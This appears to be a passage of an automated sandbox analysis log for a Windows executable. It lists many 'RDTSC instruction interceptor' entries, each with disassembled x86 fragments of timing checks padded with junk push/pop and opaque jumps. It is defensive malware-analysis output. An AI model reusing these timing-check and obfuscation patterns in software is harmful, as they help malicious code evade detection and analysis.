Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A71A second address: 78A72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F27CD375EEEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A72E second address: 78A74A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F27CCB240E3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A9BA second address: 78A9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CD375EF0h 0x00000009 jno 00007F27CD375EE8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AC4A second address: 78AC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F27CCB240E5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AC64 second address: 78AC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AC6A second address: 78AC83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F27CCB240E6h 0x0000000e jp 00007F27CCB240D8h 0x00000014 push edi 0x00000015 pop edi 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AF60 second address: 78AF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AF68 second address: 78AF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B822 second address: 78B826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B826 second address: 78B82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B9CC second address: 78BA0B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F27CD375EF8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F27CD375EF0h 0x0000000f pushad 0x00000010 jc 00007F27CD375EE6h 0x00000016 jmp 00007F27CD375EF0h 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 push edx 0x00000022 pop edx 0x00000023 pop ecx 0x00000024 push eax 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BA0B second address: 78BA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BB74 second address: 78BB84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F27CD375EE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BB84 second address: 78BB91 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F27CCB240D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BCDB second address: 78BCFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F27CD375EEAh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F27CD375EEBh 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BCFB second address: 78BCFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BCFF second address: 78BD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753C6E second address: 753C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753C79 second address: 753C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753C7D second address: 753C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F27CCB240D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7919CD second address: 7919D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752206 second address: 75221A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F27CCB240D6h 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007F27CCB240D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797F66 second address: 797F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797F6A second address: 797F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797F6E second address: 797F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CD375EF1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797F85 second address: 797F8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797F8D second address: 797F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797F91 second address: 797F9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7986AB second address: 7986AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7986AF second address: 7986B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798804 second address: 798809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7989C7 second address: 7989CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7989CD second address: 7989D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7989D1 second address: 7989D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7989D7 second address: 7989DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799311 second address: 79931B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F27CCB240D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7996D3 second address: 7996D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7997E4 second address: 799815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F27CCB240EDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799ECE second address: 799ED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799ED2 second address: 799ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799ED8 second address: 799EDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799EDD second address: 799EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A39E second address: 79A3A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F27CD375EECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A9FC second address: 79AA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA00 second address: 79AA06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA06 second address: 79AA98 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F27CCB240D6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F27CCB240E8h 0x00000012 and edi, 78081715h 0x00000018 pop esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F27CCB240D8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 push ecx 0x00000036 mov edi, dword ptr [ebp+122D2C48h] 0x0000003c pop esi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F27CCB240D8h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 00000014h 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 xchg eax, ebx 0x0000005a jmp 00007F27CCB240E1h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 jbe 00007F27CCB240D6h 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C383 second address: 79C387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CEAD second address: 79CEB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E8B9 second address: 79E8BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E8BD second address: 79E8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E8C6 second address: 79E8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E8CC second address: 79E908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CCB240E9h 0x00000009 jmp 00007F27CCB240DFh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F27CCB240DBh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E908 second address: 79E90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E90C second address: 79E941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 jmp 00007F27CCB240DDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jc 00007F27CCB240D6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EFB0 second address: 79EFBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A04EC second address: 7A04F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A04F0 second address: 7A04F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A04F6 second address: 7A050E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CCB240E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A050E second address: 7A0581 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov si, dx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F27CD375EE8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c jmp 00007F27CD375EF8h 0x00000031 xchg eax, ebx 0x00000032 push ebx 0x00000033 pushad 0x00000034 jl 00007F27CD375EE6h 0x0000003a je 00007F27CD375EE6h 0x00000040 popad 0x00000041 pop ebx 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F27CD375EF6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1066 second address: 7A106C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A106C second address: 7A1070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5710 second address: 7A5715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5715 second address: 7A571B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7C78 second address: 7A7C7D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758CA1 second address: 758CA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB839 second address: 7AB840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD838 second address: 7AD843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF7B5 second address: 7AF823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F27CCB240E1h 0x0000000d jo 00007F27CCB240D6h 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 or dword ptr [ebp+122D1CB3h], edi 0x0000001e push 00000000h 0x00000020 mov di, dx 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F27CCB240D8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f clc 0x00000040 add ebx, 7E4D247Ah 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a jns 00007F27CCB240D6h 0x00000050 jno 00007F27CCB240D6h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEA1B second address: 7AEA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B077F second address: 7B0783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0783 second address: 7B079C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007F27CD375EE8h 0x0000000f jg 00007F27CD375EECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B079C second address: 7B0811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 ja 00007F27CCB240E2h 0x0000000c jmp 00007F27CCB240DCh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F27CCB240D8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007F27CCB240D8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 mov dword ptr [ebp+1244C6EFh], edi 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 je 00007F27CCB240D6h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0811 second address: 7B0820 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26CA second address: 7B26CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26CE second address: 7B26D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26D2 second address: 7B272C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e jmp 00007F27CCB240E2h 0x00000013 push 00000000h 0x00000015 movsx ebx, dx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F27CCB240D8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 jmp 00007F27CCB240E0h 0x00000039 xchg eax, esi 0x0000003a push ebx 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B36E4 second address: 7B371A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 jno 00007F27CD375EECh 0x0000000e pop esi 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D20BFh] 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+12475569h], eax 0x0000001e and bh, 0000007Fh 0x00000021 push 00000000h 0x00000023 add dword ptr [ebp+122D385Ch], esi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pushad 0x0000002e popad 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B384E second address: 7B385C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B56E6 second address: 7B5772 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D2CECh] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F27CD375EE8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d jns 00007F27CD375EECh 0x00000033 push 00000000h 0x00000035 call 00007F27CD375EF4h 0x0000003a push ebx 0x0000003b mov edi, ecx 0x0000003d pop edi 0x0000003e pop edi 0x0000003f xchg eax, esi 0x00000040 jnp 00007F27CD375EF0h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a jmp 00007F27CD375EF1h 0x0000004f jne 00007F27CD375EE6h 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4955 second address: 7B495A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B495A second address: 7B496C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B67E1 second address: 7B67E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B67E6 second address: 7B67EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B67EB second address: 7B67F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB746 second address: 7BB766 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F27CD375EF8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFB97 second address: 7BFBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F27CCB240D6h 0x0000000a pop edi 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 jo 00007F27CCB240D8h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a jmp 00007F27CCB240E5h 0x0000001f jno 00007F27CCB240D6h 0x00000025 popad 0x00000026 popad 0x00000027 push ecx 0x00000028 pushad 0x00000029 js 00007F27CCB240D6h 0x0000002f pushad 0x00000030 popad 0x00000031 push esi 0x00000032 pop esi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFD34 second address: 7BFD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
